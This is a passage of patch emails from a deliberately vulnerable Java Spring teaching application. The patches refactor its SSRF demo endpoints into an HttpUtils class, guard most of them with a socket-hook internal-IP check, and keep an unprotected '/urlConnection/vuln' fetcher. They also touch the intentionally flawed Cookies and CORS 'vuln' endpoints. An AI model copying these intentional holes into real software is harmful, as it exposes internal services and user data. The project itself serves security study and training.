2aa0b91a1689c341d3a09b93dd070c78bd2ef287 Mon Sep 17 00:00:00 2001 From: JoyChou Date: Mon, 6 Apr 2020 20:47:42 +0800 Subject: [PATCH 17/38] bug fix --- .../java/org/joychou/controller/SSRF.java | 258 +++++++----------- .../org/joychou/security/SecurityUtil.java | 2 +- .../joychou/security/ssrf/SSRFChecker.java | 1 - .../joychou/security/ssrf/SSRFException.java | 2 +- .../org/joychou/security/ssrf/SocketHook.java | 2 +- .../security/ssrf/SocketHookFactory.java | 7 +- .../joychou/security/ssrf/SocketHookImpl.java | 66 ++--- .../security/ssrf/SocketHookUtils.java | 17 +- src/main/java/org/joychou/util/HttpUtils.java | 189 +++++++++++++ src/main/java/org/joychou/util/WebUtils.java | 5 + src/main/resources/templates/index.html | 2 +- 11 files changed, 342 insertions(+), 209 deletions(-) create mode 100644 src/main/java/org/joychou/util/HttpUtils.java diff --git a/src/main/java/org/joychou/controller/SSRF.java b/src/main/java/org/joychou/controller/SSRF.java index e9c30d0e..12384717 100644 --- a/src/main/java/org/joychou/controller/SSRF.java +++ b/src/main/java/org/joychou/controller/SSRF.java @@ -1,19 +1,9 @@ package org.joychou.controller; -import com.squareup.okhttp.OkHttpClient; -import org.apache.commons.httpclient.HttpClient; -import org.apache.commons.httpclient.methods.GetMethod; -import org.apache.commons.io.IOUtils; -import org.apache.http.HttpResponse; -import org.apache.http.HttpStatus; -import org.apache.http.client.fluent.Request; -import org.apache.http.client.methods.HttpGet; -import org.apache.http.impl.client.CloseableHttpClient; -import org.apache.http.impl.client.HttpClients; import org.joychou.security.SecurityUtil; +import org.joychou.security.ssrf.SSRFException; +import org.joychou.util.HttpUtils; import org.joychou.util.WebUtils; -import org.jsoup.Jsoup; -import org.jsoup.nodes.Document; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.web.bind.annotation.RequestMapping; @@ -21,8 +11,6 @@ import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.bind.annotation.RestController; - -import javax.imageio.ImageIO; import javax.servlet.http.HttpServletResponse; import java.io.*; import java.net.*; @@ -40,58 +28,58 @@ public class SSRF { private static Logger logger = LoggerFactory.getLogger(SSRF.class); - @RequestMapping("/urlConnection") - public static String ssrf_URLConnection(@RequestParam String url) { - try { - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request - String inputLine; - StringBuilder html = new StringBuilder(); - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - } catch (Exception e) { - logger.error(e.toString()); - return "fail"; + @RequestMapping("/urlConnection/vuln") + public static String URLConnectionVuln(String url) { + return HttpUtils.URLConnection(url); + } + + + @RequestMapping("/urlConnection/sec") + public static String URLConnectionSec(String url) { + + // Decline not http/https protocol + if (!url.startsWith("http://") && !url.startsWith("https://")) { + return "[-] SSRF check failed"; } + + try { + SecurityUtil.startSSRFHook(); + return HttpUtils.URLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + } - @RequestMapping("/HttpURLConnection") + @RequestMapping("/HttpURLConnection/sec") @ResponseBody - public static String ssrf_httpURLConnection(@RequestParam String url) { + public static String httpURLConnection(@RequestParam String url) { try { - URL u = new URL(url); - URLConnection urlConnection = u.openConnection(); - HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; - BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request - String inputLine; - StringBuilder html = new StringBuilder(); - - while ((inputLine = in.readLine()) != null) { - html.append(inputLine); - } - in.close(); - return html.toString(); - } catch (Exception e) { - logger.error(e.toString()); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.HTTPURLConnection(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } - @RequestMapping("/Request") + // http://localhost:8080/ssrf/request/sec?url=http://www.baidu.com + @RequestMapping("/request/sec") @ResponseBody - public static String ssrf_Request(@RequestParam String url) { + public static String request(@RequestParam String url) { try { - return Request.Get(url).execute().returnContent().toString(); - } catch (Exception e) { - logger.error(e.toString()); - return "fail"; + SecurityUtil.startSSRFHook(); + return HttpUtils.request(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } } @@ -106,7 +94,7 @@ public static String ssrf_Request(@RequestParam String url) { */ @RequestMapping("/openStream") @ResponseBody - public static void ssrf_openStream(@RequestParam String url, HttpServletResponse response) throws IOException { + public static void openStream(@RequestParam String url, HttpServletResponse response) throws IOException { InputStream inputStream = null; OutputStream outputStream = null; try { @@ -136,164 +124,112 @@ public static void ssrf_openStream(@RequestParam String url, HttpServletResponse } - @RequestMapping("/ImageIO") + @RequestMapping("/ImageIO/sec") @ResponseBody - public static void ssrf_ImageIO(@RequestParam String url) { + public static String ImageIO(@RequestParam String url) { try { - URL u = new URL(url); - ImageIO.read(u); // send request - } catch (Exception e) { - logger.error(e.toString()); + SecurityUtil.startSSRFHook(); + HttpUtils.imageIO(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } + + return "ImageIO ssrf test"; } - @RequestMapping("/okhttp") + @RequestMapping("/okhttp/sec") @ResponseBody - public static void ssrf_okhttp(@RequestParam String url) throws IOException { - OkHttpClient client = new OkHttpClient(); - com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); - client.newCall(ok_http).execute(); + public static String okhttp(@RequestParam String url) { + + try { + SecurityUtil.startSSRFHook(); + HttpUtils.okhttp(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); + } + + return "okhttp ssrf test"; } /** - * http://localhost:8080/ssrf/HttpClient/sec?url=http://www.baidu.com - * - * @return The response of url param. + * http://localhost:8080/ssrf/httpclient/sec?url=http://www.baidu.com */ - @RequestMapping("/HttpClient/sec") + @RequestMapping("/httpclient/sec") @ResponseBody - public static String ssrf_HttpClient(@RequestParam String url) { - StringBuilder result = new StringBuilder(); + public static String HttpClient(@RequestParam String url) { + try { SecurityUtil.startSSRFHook(); - CloseableHttpClient client = HttpClients.createDefault(); - HttpGet httpGet = new HttpGet(url); - HttpResponse httpResponse = client.execute(httpGet); // send request - BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); - - String line; - while ((line = rd.readLine()) != null) { - result.append(line); - } - - // SecurityUtil.stopSSRFHook(); - return result.toString(); - - } catch (Exception e) { - return e.toString(); + return HttpUtils.httpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); } finally { SecurityUtil.stopSSRFHook(); } + } /** - * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient - * UserAgent: Jakarta Commons-HttpClient/3.1 (2007.08 publish) - *

* http://localhost:8080/ssrf/commonsHttpClient/sec?url=http://www.baidu.com */ @RequestMapping("/commonsHttpClient/sec") @ResponseBody public static String commonsHttpClient(@RequestParam String url) { - if (!SecurityUtil.checkSSRFByWhitehosts(url)) { - return "Bad man. I got u."; - } - - HttpClient client = new HttpClient(); - GetMethod method = new GetMethod(url); - method.setFollowRedirects(false); try { - // Send http request. - int status_code = client.executeMethod(method); - - // Only allow the url that status_code is 200. - if (status_code != HttpStatus.SC_OK) { - return "Method failed: " + method.getStatusLine(); - } - - // Read the response body. - byte[] resBody = method.getResponseBody(); - return new String(resBody); - - } catch (IOException e) { - return "Error: " + e.getMessage(); + SecurityUtil.startSSRFHook(); + return HttpUtils.commonHttpClient(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); } finally { - // Release the connection. - method.releaseConnection(); + SecurityUtil.stopSSRFHook(); } - } /** - * jsoup是一款Java的HTML解析器,可直接解析某个URL地址、HTML文本内容。 - *

* http://localhost:8080/ssrf/Jsoup?url=http://www.baidu.com */ - @RequestMapping("/Jsoup") + @RequestMapping("/Jsoup/sec") @ResponseBody public static String Jsoup(@RequestParam String url) { + try { - Document doc = Jsoup.connect(url) - .userAgent( - "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " - + "Chrome/64.0.3282.167 Safari/537.36") - .timeout(3000) - .cookie("name", "joychou") // request请求带的cookie - .followRedirects(false) - .execute().parse(); - logger.info(doc.html()); - } catch (MalformedURLException e) { - return "exception: " + e.toString(); - } catch (IOException e) { - logger.error(e.toString()); - return "exception: " + e.toString(); + SecurityUtil.startSSRFHook(); + return HttpUtils.Jsoup(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } - return "Jsoup ssrf"; } /** - * 用途:IOUtils可远程获取URL图片 - * 默认重定向:是 - * 封装类:URLConnection - * http://localhost:8080/ssrf/IOUtils?url=http://www.baidu.com + * http://localhost:8080/ssrf/IOUtils/sec?url=http://www.baidu.com */ - @RequestMapping("/IOUtils") - public static String IOUtils(@RequestParam String url) { + @RequestMapping("/IOUtils/sec") + public static String IOUtils(String url) { + try { - // IOUtils.toByteArray内部用URLConnection进行了封装 - IOUtils.toByteArray(URI.create(url)); - } catch (Exception e) { - return "exception: " + e.toString(); + SecurityUtil.startSSRFHook(); + HttpUtils.IOUtils(url); + } catch (SSRFException | IOException e) { + return e.getMessage(); + } finally { + SecurityUtil.stopSSRFHook(); } - return "IOUtils ssrf"; + return "IOUtils ssrf test"; } - /** - * Safe code. - * http://localhost:8080/ssrf/ImageIO/sec?url=http://www.baidu.com - */ - @RequestMapping("/ImageIO/sec") - public static String ImageIOSec(@RequestParam String url) { - try { - URL u = new URL(url); - if (!SecurityUtil.checkSSRFWithoutRedirect(url)) { - logger.error("[-] SSRF check failed. Original Url: " + url); - return "SSRF check failed."; - } - ImageIO.read(u); // send request - } catch (Exception e) { - return e.toString(); - } - - return "ImageIO ssrf safe code."; - } } diff --git a/src/main/java/org/joychou/security/SecurityUtil.java b/src/main/java/org/joychou/security/SecurityUtil.java index a1c4cfc6..0b383f5d 100644 --- a/src/main/java/org/joychou/security/SecurityUtil.java +++ b/src/main/java/org/joychou/security/SecurityUtil.java @@ -126,7 +126,7 @@ public static boolean checkSSRFWithoutRedirect(String url) { * * @author liergou @ 2020-04-04 02:15 */ - public static void startSSRFHook() throws NoSuchFieldException, IOException { + public static void startSSRFHook() throws IOException { SocketHook.startHook(); } diff --git a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java index 32373aff..3860cad9 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFChecker.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFChecker.java @@ -132,7 +132,6 @@ static boolean isInternalIp(String strIP) { } ArrayList blackSubnets = WebConfig.getSsrfBlockIps(); - blackSubnets.add("10.0.0.0/8"); for (String subnet : blackSubnets) { SubnetUtils utils = new SubnetUtils(subnet); if (utils.getInfo().isInRange(strIP)) { diff --git a/src/main/java/org/joychou/security/ssrf/SSRFException.java b/src/main/java/org/joychou/security/ssrf/SSRFException.java index b27a970f..817c881e 100644 --- a/src/main/java/org/joychou/security/ssrf/SSRFException.java +++ b/src/main/java/org/joychou/security/ssrf/SSRFException.java @@ -6,7 +6,7 @@ * * @author JoyChou @2020-04-04 */ -class SSRFException extends RuntimeException { +public class SSRFException extends RuntimeException { SSRFException(String s) { super(s); diff --git a/src/main/java/org/joychou/security/ssrf/SocketHook.java b/src/main/java/org/joychou/security/ssrf/SocketHook.java index 92b8f496..4ce3509c 100644 --- a/src/main/java/org/joychou/security/ssrf/SocketHook.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHook.java @@ -12,7 +12,7 @@ */ public class SocketHook { - public static void startHook() throws NoSuchFieldException, IOException { + public static void startHook() throws IOException { SocketHookFactory.initSocket(); SocketHookFactory.setHook(true); try{ diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java index 51a278b7..dc6d951d 100644 --- a/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHookFactory.java @@ -33,22 +33,23 @@ static void setHook(Boolean set) { } - /** - * initSocket - */ static void initSocket() { + if (socketConstructor != null) { return; } Socket socket = new Socket(); try { + // get impl field in Socket class Field implField = Socket.class.getDeclaredField("impl"); implField.setAccessible(true); Class clazz = implField.get(socket).getClass(); + SocketHookImpl.initSocketImpl(clazz); socketConstructor = clazz.getDeclaredConstructor(); socketConstructor.setAccessible(true); + } catch (NoSuchFieldException | IllegalAccessException | NoSuchMethodException e) { throw new SSRFException("SocketHookFactory init failed!"); } diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java index c3b9c28d..de244134 100644 --- a/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHookImpl.java @@ -4,7 +4,6 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; -import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Constructor; @@ -21,21 +20,22 @@ public class SocketHookImpl extends SocketImpl implements SocketOptions { private static Boolean isInit = false; - static private SocketImpl socketImpl = null; - static private Method createImpl; - static private Method connectHostImpl; - static private Method connectInetAddressImpl; - static private Method connectSocketAddressImpl; - static private Method bindImpl; - static private Method listenImpl; - static private Method acceptImpl; - static private Method getInputStreamImpl; - static private Method getOutputStreamImpl; - static private Method availableImpl; - static private Method closeImpl; - static private Method shutdownInputImpl; - static private Method shutdownOutputImpl; - static private Method sendUrgentDataImpl; + + private static SocketImpl socketImpl = null; + private static Method createImpl; + private static Method connectHostImpl; + private static Method connectInetAddressImpl; + private static Method connectSocketAddressImpl; + private static Method bindImpl; + private static Method listenImpl; + private static Method acceptImpl; + private static Method getInputStreamImpl; + private static Method getOutputStreamImpl; + private static Method availableImpl; + private static Method closeImpl; + private static Method shutdownInputImpl; + private static Method shutdownOutputImpl; + private static Method sendUrgentDataImpl; private final Logger logger = LoggerFactory.getLogger(this.getClass()); @@ -58,8 +58,12 @@ static void initSocketImpl(Class initSocketImpl) { throw new RuntimeException("InitSocketImpl failed! Hook stopped!"); } +// try { +// initSocketImpl = Class.forName("java.net.SocketImpl"); +// } catch (ClassNotFoundException e) { +// System.out.println(e.getMessage()); +// } if (!isInit) { - // createImpl = SocketHookUtils.findMethod(initSocketImpl, "create", new Class[]{boolean.class}); connectHostImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{String.class, int.class}); connectInetAddressImpl = SocketHookUtils.findMethod(initSocketImpl, "connect", new Class[]{InetAddress.class, int.class}); @@ -83,7 +87,7 @@ static void initSocketImpl(Class initSocketImpl) { * socket base method impl */ @Override - protected void create(boolean stream) throws IOException { + protected void create(boolean stream) { try { createImpl.invoke(socketImpl, stream); } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { @@ -94,7 +98,7 @@ protected void create(boolean stream) throws IOException { @Override - protected void connect(String host, int port) throws IOException { + protected void connect(String host, int port) { logger.info("host: " + host + "\tport: " + port); try { connectHostImpl.invoke(socketImpl, host, port); @@ -106,7 +110,7 @@ protected void connect(String host, int port) throws IOException { @Override - protected void connect(InetAddress address, int port) throws IOException { + protected void connect(InetAddress address, int port) { logger.info("InetAddress: " + address.toString()); @@ -121,14 +125,14 @@ protected void connect(InetAddress address, int port) throws IOException { } @Override - protected void connect(SocketAddress address, int timeout) throws IOException { + protected void connect(SocketAddress address, int timeout) { // convert SocketAddress to InetSocketAddress InetSocketAddress addr = (InetSocketAddress) address; String ip = addr.getAddress().getHostAddress(); String host = addr.getHostName(); - logger.info(String.format("[+]SocketAddress address's Hostname: %s IP: %s", host, ip)); + logger.info(String.format("[+] SocketAddress address's Hostname: %s IP: %s", host, ip)); try { if (SSRFChecker.isInternalIp(ip)) { @@ -143,7 +147,7 @@ protected void connect(SocketAddress address, int timeout) throws IOException { } @Override - protected void bind(InetAddress host, int port) throws IOException { + protected void bind(InetAddress host, int port) { try { bindImpl.invoke(socketImpl, host, port); } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { @@ -162,7 +166,7 @@ protected void listen(int backlog) { } @Override - protected void accept(SocketImpl s) throws IOException { + protected void accept(SocketImpl s) { try { acceptImpl.invoke(socketImpl, s); @@ -172,7 +176,7 @@ protected void accept(SocketImpl s) throws IOException { } @Override - protected InputStream getInputStream() throws IOException { + protected InputStream getInputStream() { InputStream inStream = null; try { @@ -186,7 +190,7 @@ protected InputStream getInputStream() throws IOException { } @Override - protected OutputStream getOutputStream() throws IOException { + protected OutputStream getOutputStream() { OutputStream outStream = null; try { @@ -200,7 +204,7 @@ protected OutputStream getOutputStream() throws IOException { } @Override - protected int available() throws IOException { + protected int available() { int result = -1; @@ -214,7 +218,7 @@ protected int available() throws IOException { } @Override - protected void close() throws IOException { + protected void close() { try { closeImpl.invoke(socketImpl); } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { @@ -223,7 +227,7 @@ protected void close() throws IOException { } @Override - protected void shutdownInput() throws IOException { + protected void shutdownInput() { try { shutdownInputImpl.invoke(socketImpl); } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { @@ -233,7 +237,7 @@ protected void shutdownInput() throws IOException { } @Override - protected void shutdownOutput() throws IOException { + protected void shutdownOutput() { try { shutdownOutputImpl.invoke(socketImpl); } catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException ex) { @@ -243,7 +247,7 @@ protected void shutdownOutput() throws IOException { } @Override - protected void sendUrgentData(int data) throws IOException { + protected void sendUrgentData(int data) { try { sendUrgentDataImpl.invoke(socketImpl, data); } catch (IllegalAccessException | InvocationTargetException | IllegalArgumentException ex) { diff --git a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java index b94b82d9..00f6c275 100644 --- a/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java +++ b/src/main/java/org/joychou/security/ssrf/SocketHookUtils.java @@ -6,23 +6,22 @@ class SocketHookUtils { /** * Poll the parent class to find the reflection method. + * SocksSocketImpl -> PlainSocketImpl -> AbstractPlainSocketImpl * * @author liergou @2020-04-04 01:43 */ - static Method findMethod(Class inputClazz, String findName, Class[] args) { + static Method findMethod(Class clazz, String findName, Class[] args) { - Class temp = inputClazz; - - while (temp != null) { + while (clazz != null) { try { - Method tmpMethod = temp.getDeclaredMethod(findName, args); - tmpMethod.setAccessible(true); - return tmpMethod; + Method method = clazz.getDeclaredMethod(findName, args); + method.setAccessible(true); + return method; } catch (NoSuchMethodException e) { - temp = temp.getSuperclass(); + clazz = clazz.getSuperclass(); } } return null; } -} +} \ No newline at end of file diff --git a/src/main/java/org/joychou/util/HttpUtils.java b/src/main/java/org/joychou/util/HttpUtils.java new file mode 100644 index 00000000..37eeb69a --- /dev/null +++ b/src/main/java/org/joychou/util/HttpUtils.java @@ -0,0 +1,189 @@ +package org.joychou.util; + +import com.squareup.okhttp.OkHttpClient; +import org.apache.commons.httpclient.HttpClient; +import org.apache.commons.httpclient.methods.GetMethod; +import org.apache.commons.io.IOUtils; +import org.apache.http.HttpResponse; +import org.apache.http.client.fluent.Request; +import org.apache.http.client.methods.HttpGet; +import org.apache.http.impl.client.CloseableHttpClient; +import org.apache.http.impl.client.HttpClients; +import org.jsoup.Jsoup; +import org.jsoup.nodes.Document; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import javax.imageio.ImageIO; +import java.io.BufferedReader; +import java.io.IOException; +import java.io.InputStreamReader; +import java.net.HttpURLConnection; +import java.net.URI; +import java.net.URL; +import java.net.URLConnection; + +/** + * @author JoyChou 2020-04-06 + */ +public class HttpUtils { + + private static Logger logger = LoggerFactory.getLogger(HttpUtils.class); + + + /** + * https://mvnrepository.com/artifact/commons-httpclient/commons-httpclient + * UserAgent is Jakarta Commons-HttpClient/3.1. Last publish at 2007.08. + * + * @param url http request url + * @return response + */ + public static String commonHttpClient(String url) { + + HttpClient client = new HttpClient(); + GetMethod method = new GetMethod(url); + + try { + client.executeMethod(method); // send request + byte[] resBody = method.getResponseBody(); + return new String(resBody); + + } catch (IOException e) { + return "Error: " + e.getMessage(); + } finally { + // Release the connection. + method.releaseConnection(); + } + } + + + public static String request(String url) { + try { + return Request.Get(url).execute().returnContent().toString(); + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String httpClient(String url) { + + StringBuilder result = new StringBuilder(); + + try { + + CloseableHttpClient client = HttpClients.createDefault(); + HttpGet httpGet = new HttpGet(url); + HttpResponse httpResponse = client.execute(httpGet); // send request + BufferedReader rd = new BufferedReader(new InputStreamReader(httpResponse.getEntity().getContent())); + + String line; + while ((line = rd.readLine()) != null) { + result.append(line); + } + + return result.toString(); + + } catch (Exception e) { + return e.getMessage(); + } + } + + + public static String URLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (Exception e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + public static String HTTPURLConnection(String url) { + try { + URL u = new URL(url); + URLConnection urlConnection = u.openConnection(); + HttpURLConnection httpUrl = (HttpURLConnection) urlConnection; + BufferedReader in = new BufferedReader(new InputStreamReader(httpUrl.getInputStream())); //send request + String inputLine; + StringBuilder html = new StringBuilder(); + + while ((inputLine = in.readLine()) != null) { + html.append(inputLine); + } + in.close(); + return html.toString(); + } catch (IOException e) { + logger.error(e.getMessage()); + return e.getMessage(); + } + } + + + /** + * Jsoup is a HTML parser about Java. + * + * @param url http request url + */ + public static String Jsoup(String url) { + try { + String useragent = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) " + + "Chrome/64.0.3282.167 Safari/537.36"; + Document doc = Jsoup.connect(url) + .userAgent(useragent) + .timeout(3000) + .cookie("name", "joychou") // request cookies + //.followRedirects(false) + .execute().parse(); + return doc.outerHtml(); + } catch (IOException e) { + return e.getMessage(); + } + } + + + public static void okhttp(String url) throws IOException { + OkHttpClient client = new OkHttpClient(); + com.squareup.okhttp.Request ok_http = new com.squareup.okhttp.Request.Builder().url(url).build(); + client.newCall(ok_http).execute(); + } + + + public static void imageIO(String url) { + try { + URL u = new URL(url); + ImageIO.read(u); // send request + } catch (IOException e) { + logger.error(e.getMessage()); + } + + } + + + /** + * IOUtils which is wrapped by URLConnection can get remote pictures. + * The default setting of redirection is true. + * + * @param url http request url + */ + public static void IOUtils(String url) { + try { + IOUtils.toByteArray(URI.create(url)); + } catch (IOException e) { + logger.error(e.getMessage()); + } + } + + +} diff --git a/src/main/java/org/joychou/util/WebUtils.java b/src/main/java/org/joychou/util/WebUtils.java index 7cc16e84..4816df8e 100644 --- a/src/main/java/org/joychou/util/WebUtils.java +++ b/src/main/java/org/joychou/util/WebUtils.java @@ -17,6 +17,7 @@ public static String getRequestBody(HttpServletRequest request) throws IOExcepti return convertStreamToString(in); } + // https://stackoverflow.com/questions/309424/how-do-i-read-convert-an-inputstream-into-a-string-in-java public static String convertStreamToString(java.io.InputStream is) { java.util.Scanner s = new java.util.Scanner(is).useDelimiter("\\A"); @@ -33,6 +34,7 @@ public static String json2Jsonp(String callback, String jsonStr) { return HtmlUtils.htmlEscape(callback) + "(" + jsonStr + ")"; } + public static String getFileExtension(String fullName) { Preconditions.checkNotNull(fullName); String fileName = (new File(fullName)).getName(); @@ -40,10 +42,13 @@ public static String getFileExtension(String fullName) { return dotIndex == -1 ? "" : fileName.substring(dotIndex + 1); } + public static String getNameWithoutExtension(String file) { Preconditions.checkNotNull(file); String fileName = (new File(file)).getName(); int dotIndex = fileName.lastIndexOf('.'); return dotIndex == -1 ? fileName : fileName.substring(0, dotIndex); } + + } diff --git a/src/main/resources/templates/index.html b/src/main/resources/templates/index.html index de32f6ee..671045d5 100644 --- a/src/main/resources/templates/index.html +++ b/src/main/resources/templates/index.html @@ -14,7 +14,7 @@ Cors   PathTraversal   SqlInject   - SSRF   + SSRF   RCE   ooxml XXE   xlsx-streamer XXE From f296f0dd927f6ecd35543bfa5f0a504f11a6992d Mon Sep 17 00:00:00 2001 From: JoyChou Date: Fri, 10 Apr 2020 19:08:26 +0800 Subject: [PATCH 18/38] add swagger-ui & ssrf of httpsyncclient --- java-sec-code.iml | 19 +++- pom.xml | 24 +++- .../org/joychou/config/SwaggerConfig.java | 31 ++++++ .../java/org/joychou/controller/Cookies.java | 13 ++- .../java/org/joychou/controller/Cors.java | 25 +++-- .../java/org/joychou/controller/Fastjson.java | 2 +- .../org/joychou/controller/GetRequestURI.java | 3 +- src/main/java/org/joychou/controller/Rce.java | 5 +- .../java/org/joychou/controller/SSRF.java | 105 ++++++++++++------ .../java/org/joychou/controller/SpEL.java | 3 +- .../java/org/joychou/controller/Test.java | 14 ++- .../org/joychou/controller/URLWhiteList.java | 53 +++++---- src/main/java/org/joychou/controller/XXE.java | 2 +- .../org/joychou/security/SecurityUtil.java | 36 +++++- .../joychou/security/ssrf/SSRFChecker.java | 15 +-- .../joychou/security/ssrf/SocketHookImpl.java | 7 +- src/main/java/org/joychou/util/HttpUtils.java | 38 +++++-- src/main/resources/application.properties | 7 +- 18 files changed, 273 insertions(+), 129 deletions(-) create mode 100644 src/main/java/org/joychou/config/SwaggerConfig.java diff --git a/java-sec-code.iml b/java-sec-code.iml index c9e18a68..720895cc 100644 --- a/java-sec-code.iml +++ b/java-sec-code.iml @@ -49,7 +49,6 @@ - @@ -76,7 +75,7 @@ - + @@ -200,5 +199,21 @@ + + + + + + + + + + + + + + + + \ No newline at end of file diff --git a/pom.xml b/pom.xml index 11de6121..6e5c2455 100644 --- a/pom.xml +++ b/pom.xml @@ -87,7 +87,7 @@ org.apache.httpcomponents httpclient - 4.3.6 + 4.5.12 @@ -222,12 +222,32 @@ 1.10.2 - + commons-io commons-io 2.5 + + + + org.apache.httpcomponents + httpasyncclient + 4.1.4 + + + + io.springfox + springfox-swagger2 + 2.9.2 + + + + io.springfox + springfox-swagger-ui + 2.9.2 + + diff --git a/src/main/java/org/joychou/config/SwaggerConfig.java b/src/main/java/org/joychou/config/SwaggerConfig.java new file mode 100644 index 00000000..c2a73973 --- /dev/null +++ b/src/main/java/org/joychou/config/SwaggerConfig.java @@ -0,0 +1,31 @@ +package org.joychou.config; + +import org.springframework.beans.factory.annotation.Value; +import org.springframework.context.annotation.Bean; +import org.springframework.context.annotation.Configuration; +import springfox.documentation.builders.PathSelectors; +import springfox.documentation.builders.RequestHandlerSelectors; + +import springfox.documentation.spi.DocumentationType; +import springfox.documentation.spring.web.plugins.Docket; +import springfox.documentation.swagger2.annotations.EnableSwagger2; + + +@Configuration +@EnableSwagger2 +public class SwaggerConfig { + + @Value("${swagger.enable}") + private boolean enableSwagger; + + @Bean + public Docket api() { + return new Docket(DocumentationType.SWAGGER_2) + .enable(enableSwagger) + .select() + .apis(RequestHandlerSelectors.any()) + .paths(PathSelectors.any()) + .build(); + } + +} diff --git a/src/main/java/org/joychou/controller/Cookies.java b/src/main/java/org/joychou/controller/Cookies.java index fc346ef6..f62efb2d 100644 --- a/src/main/java/org/joychou/controller/Cookies.java +++ b/src/main/java/org/joychou/controller/Cookies.java @@ -1,6 +1,7 @@ package org.joychou.controller; import org.springframework.web.bind.annotation.CookieValue; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import javax.servlet.http.Cookie; @@ -17,14 +18,14 @@ public class Cookies { private static String NICK = "nick"; - @RequestMapping(value = "/vuln01") + @GetMapping(value = "/vuln01") public String vuln01(HttpServletRequest req) { String nick = WebUtils.getCookieValueByName(req, NICK); // key code return "Cookie nick: " + nick; } - @RequestMapping(value = "/vuln02") + @GetMapping(value = "/vuln02") public String vuln02(HttpServletRequest req) { String nick = null; Cookie[] cookie = req.getCookies(); @@ -37,7 +38,7 @@ public String vuln02(HttpServletRequest req) { } - @RequestMapping(value = "/vuln03") + @GetMapping(value = "/vuln03") public String vuln03(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); @@ -53,7 +54,7 @@ public String vuln03(HttpServletRequest req) { } - @RequestMapping(value = "/vuln04") + @GetMapping(value = "/vuln04") public String vuln04(HttpServletRequest req) { String nick = null; Cookie cookies[] = req.getCookies(); @@ -68,13 +69,13 @@ public String vuln04(HttpServletRequest req) { } - @RequestMapping(value = "/vuln05") + @GetMapping(value = "/vuln05") public String vuln05(@CookieValue("nick") String nick) { return "Cookie nick: " + nick; } - @RequestMapping(value = "/vuln06") + @GetMapping(value = "/vuln06") public String vuln06(@CookieValue(value = "nick") String nick) { return "Cookie nick: " + nick; } diff --git a/src/main/java/org/joychou/controller/Cors.java b/src/main/java/org/joychou/controller/Cors.java index a18e6280..870e809f 100644 --- a/src/main/java/org/joychou/controller/Cors.java +++ b/src/main/java/org/joychou/controller/Cors.java @@ -4,6 +4,7 @@ import org.joychou.util.LoginUtils; import org.springframework.security.web.csrf.CsrfToken; import org.springframework.web.bind.annotation.CrossOrigin; +import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RestController; @@ -21,25 +22,25 @@ public class Cors { private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}"; - @RequestMapping("/vuln/origin") - public static String vuls1(HttpServletRequest request, HttpServletResponse response) { + @GetMapping("/vuln/origin") + public String 